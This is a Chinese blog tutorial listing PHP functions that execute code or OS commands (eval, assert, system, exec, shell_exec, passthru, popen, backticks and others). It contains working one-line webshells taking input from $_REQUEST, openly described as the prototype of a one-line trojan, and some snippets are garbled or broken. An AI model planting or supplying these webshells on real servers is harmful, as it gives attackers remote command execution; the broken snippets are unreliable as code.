• PHP危险函数


    PHP危险函数


    通过构造函数可以执行系统命令达到非法控制计算机被视为危险函数

    PHP 代码执行函数

    字符串当中PHP代码来执行

    eval 语句

    eval() 会将符合PHP 语法规范字符串当作php 代码执行

    这个语句只能执行php代码不能执行系统命令但能调用system()函数来实现系统命令

    $code = $_REQUEST['code'];
    eval($code);
    
    • 1
    • 2

    通过简写就是一句话木马的原型

    @eval($ REQUEST['code']);
    
    • 1

    也可以嵌入eval(eval());的形式来执行

    assert()语句
    • assert() 只能执行单条PHP 语句
    • 在低版本中assert() 是一个函数,可以动态调用。
    • 高版本PHP 中,7.2.0被弃用在8.0.0的assert语句已经被淘汰了
    $code=$_REQUEST['code'];
    assert($code);
    
    • 1
    • 2

    因为每次只能执行一条语句如果想实现一句话木马可以以编码的形式进行
    在这里插入图片描述

    preg_replace()函数

    preg_replace 执行一个正则表达式的搜索和替换

    正则表达式:一类字符特征

    preg_replace(“/正则表达式/修饰符”,“要替换的字符”,“目标字符串”)

    在第二个参数里"\\1"是第一个匹配到的字符

    正则表达式里

    .*是表示匹配所有

    修饰符

    i匹配大小写

    e将匹配到符合php代码的字符执行

    回调函数

    一个函数调用另外一个函数。PHP 语言中回调函数有很多。

    call_user_func()函数

    特点

    • 只能调用函数
    • 不能用结构语句

    用assert执行phpinfo函数

    $func = 'assert';
    $arg = "phpinfo();";
    call_user_func($func, $arg);
    
    • 1
    • 2
    • 3
    array_map()函数

    参数必须为数组

    $func = 'assert';
    $arg[] = "phpinfo();";
    array_map($func, $arg);
    
    • 1
    • 2
    • 3

    OS命令执行函数

    OS命令执行函数:把字符串当作系统命令执行

    system()函数

    是一个典型的系统命令执行函数

    特点

    • 自带输出功能
    • 自动区分系统平台
    
        $cmd=$_REQUEST['cmd'];
    	system($cmd);
        ?>
    
    • 1
    • 2
    • 3
    • 4
    exec()函数

    将字符串当作代码执行

    特点:

    • 能执行系统命令
    • 不自带输出
    • 只输出命令执行结果的最后一行
    
        $cmd = "ipconfig";
    	var_dump(exec($cmd));
        ?>
    
    • 1
    • 2
    • 3
    • 4
    shell_exec()函数

    特点:

    • 通过 shell 执行命令并将完整的输出以字符串的方式返回
    • 不自带输出
    
        $cmd =$_REQUEST["cmd"];
    	echo shell_exec($cmd);
        ?>
    
    • 1
    • 2
    • 3
    • 4
    passthru() 函数

    执行外部程序并且显示原始输出
    特点

    • 能执行系统命令
    • 自带输出功能
       
        $cmd =$_REQUEST["cmd"];    		passthru($cmd); 
    ?>
    
    • 1
    • 2
    • 3
    popen 函数

    特点

    • 把命令结果当作成一个文件
    • 不自带输出功能
    • 函数返回值为文件指针,可以简单理解为文件名

    想要输出结果要使用fread函数有两个参数一个是要读的文件另一个是字节数
    在这里插入图片描述
    模式。‘r’ 表示阅读,‘w’ 表示写入。

    
        $cmd=$_REQUEST["cmd"];
    	$result=popen($cmd,"r");
    	echo fread($resukt,1024);
    
    • 1
    • 2
    • 3
    • 4
    反引号``

    反引号` 内的字符串,会被解析成OS 命令。

    
    $cmd = "whoami";
    $cmd = "ipconfig";
    $cmd = "net user";
    echo "
    ".`$cmd`;
    n($cmd,"r");
    	echo fread($resukt,1024);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    实列

    1. system
      以字符串的形式执行系统命令并自带回显
    
        system($_GET['cmd']);
    ?>
    
    • 1
    • 2
    • 3

    在这里插入图片描述
    2. exec
    用字符串的形式执行系统命令不自带回显,用echo只能输出末一行用来确认代码是否执行成功

     
       echo exec($_REQUEST['cmd']);
    ?>
    
    • 1
    • 2
    • 3

    在这里插入图片描述
    3. shell_exec
    通过 shell 执行命令后并将完整的输出以字符串的方式返回
    函数本身不自带回显功能

     
      echo shell_exec($_REQUEST['cmd']);
    ?>
    
    • 1
    • 2
    • 3

    在这里插入图片描述
    4. passthru
    执行外部程序并且显示原始输出

     
      passthru ($_REQUEST['cmd']);
    ?>
    
    • 1
    • 2
    • 3

    在这里插入图片描述
    5. popen
    打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。

    
    echo fread(popen($_REQUEST['cmd'],'r'),1024);
    ?>
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    1. ``反引号
      反引号` 内的字符串,会被解析成OS 命令
    
        $a=$_REQUEST['cmd'];
        echo `$a`;
    ?>
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述
    7. eval
    eval() 会将符合PHP 语法规范字符串当作php 代码执行

    
    echo @eval ($_REQUEST['cmd']);
    ?>
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    1. assert
    
    	assert($_REQUEST['cmd']);
    	?>
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    1. preg_replace
    
       echo  preg_replace('~\[(.*)\]~e','\\1','[phpinfo()]');  
    ?>
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    1. call_user_func
    
        call_user_func('assert','phpinfo()');
    ?>
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    1. array_map
      只能执行数组
    
        $a[]=phpinfo();
        array_map(assert(),$a);
    ?>
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    1. 动态函数
    $func="system";
    $func2="ipconfig";
    $func($func2);
    
    • 1
    • 2
    • 3

    在这里插入图片描述

  • 相关阅读:
    NX二次开发UF_CAM_ask_cutter_db_object 函数介绍
    聊聊Hotspot内存屏障如何禁止指令重排
    javaIO流02:IO流原理及流的分类
    MySql第三篇---索引的创建与设计原则
    【信息检索】信息检索系统实现
    面对繁杂的工作时,我总是走神,效率非常低,有什么解决建议
    SpringBoot中15个常用启动扩展点,你用过几个?
    Rust 错误处理
    QT : 完成绘制时钟
    最短路径专题5 最短路径
  • 原文地址:https://blog.csdn.net/weixin_70137901/article/details/134037375